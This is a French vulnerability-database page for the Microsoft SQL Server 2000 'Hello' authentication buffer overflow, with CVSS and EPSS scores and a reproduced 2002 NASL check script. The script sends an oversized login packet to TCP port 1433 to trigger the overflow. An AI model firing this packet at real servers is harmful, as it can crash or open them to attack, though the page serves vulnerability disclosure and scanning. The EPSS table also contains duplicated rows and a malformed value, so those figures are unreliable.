CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Buffer overflow in the authentication function for Microsoft SQL Server 2000 and Microsoft Desktop Engine (MSDE) 2000 allows remote attackers to execute arbitrary code via a long request to TCP port 1433, aka the "Hello" overflow.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
85.53%
–
–
2023-03-12
–
–
–
96.68%
–
2023-08-13
–
–
–
95.94%
–
2024-02-11
–
–
–
95.89%
–
2024-03-10
–
–
–
96.18%
–
2024-06-02
–
–
–
96.18%
–
2024-09-22
–
–
–
96.06%
–
2024-12-22
–
–
–
96.11%
–
2025-02-16
–
–
–
96.29%
–
2025-01-19
–
–
–
96.11%
–
2025-02-16
–
–
–
96.29%
–
2025-03-18
–
–
–
–
88.84%
2025-03-30
–
–
–
–
88.84%
2025-03-30
–
–
–
–
88.84,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2002-08-05 22h00 +00:00 Auteur : Dave Aitel EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/5411/info
A vulnerability has been discovered in Microsoft SQL Server that could make it possible for remote attackers to gain access to target hosts.
It is possible for an attacker to cause a buffer overflow condition on the vulnerable SQL server with a malformed login request. This may allow a remote attacker to execute arbitrary code as the SQL Server process.
This vulnerability reportedly occurs even before authentication can proceed.
##
#
# this script tests for the "You had me at hello" overflow
# in MSSQL (tcp/1433)
# Copyright Dave Aitel (2002)
# Bug found by: Dave Aitel (2002)
#
##
#TODO:
#techically we should also go to the UDP 1434 resolver service
#and get any additional ports!!!
if(description)
{
script_id(11067);
# script_cve_id("CVE-2000-0402");
script_version ("$Revision: 0.1 $");
name["english"] = "Microsoft SQL Server Hello Overflow";
script_name(english:name["english"]);
desc["english"] = "
The remote MS SQL server is vulnerable to the Hello overflow.
An attacker may use this flaw to execute commands against
the remote host as LOCAL/SYSTEM,
as well as read your database content.
Solution : disable this service (Microsoft SQL Server).
Risk factor : High";
script_description(english:desc["english"]);
summary["english"] = "Microsoft SQL Server Hello Overflow";
script_summary(english:summary["english"]);
script_category(ACT_ATTACK);
script_copyright(english:"This script is Copyright (C) 2002 Dave Aitel");
family["english"] = "Windows";
script_family(english:family["english"]);
script_require_ports(1433);
exit(0);
}
#
# The script code starts here
#
#taken from mssql.spk
pkt_hdr = raw_string(
0x12 ,0x01 ,0x00 ,0x34 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x15 ,0x00 ,0x06 ,0x01 ,0x00 ,0x1b
,0x00 ,0x01 ,0x02 ,0x00 ,0x1c ,0x00 ,0x0c ,0x03 ,0x00 ,0x28 ,0x00 ,0x04 ,0xff ,0x08 ,0x00 ,0x02
,0x10 ,0x00 ,0x00 ,0x00
);
#taken from mssql.spk
pkt_tail = raw_string (
0x00 ,0x24 ,0x01 ,0x00 ,0x00
);
#techically we should also go to the UDP 1434 resolver service
#and get any additional ports!!!
port = 1433;
found = 0;
report = "The SQL Server is vulnerable to the Hello overflow.
An attacker may use this flaw to execute commands against
the remote host as LOCAL/SYSTEM,
as well as read your database content.
Solution : disable this service (Microsoft SQL Server).
Risk factor : High";
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
#uncomment this to see what normally happens
#attack_string="MSSQLServer";
#uncomment next line to actually test for overflow
attack_string=crap(560);
# this creates a variable called sql_packet
sql_packet = pkt_hdr+attack_string+pkt_tail;
send(socket:soc, data:sql_packet);
r = recv(socket:soc, length:4096);
close(soc);
display ("Result:",r,"\n");
if(!r)
{
display("Security Hole in MSSQL\n");
security_hole(port:port, data:report);
}
}
}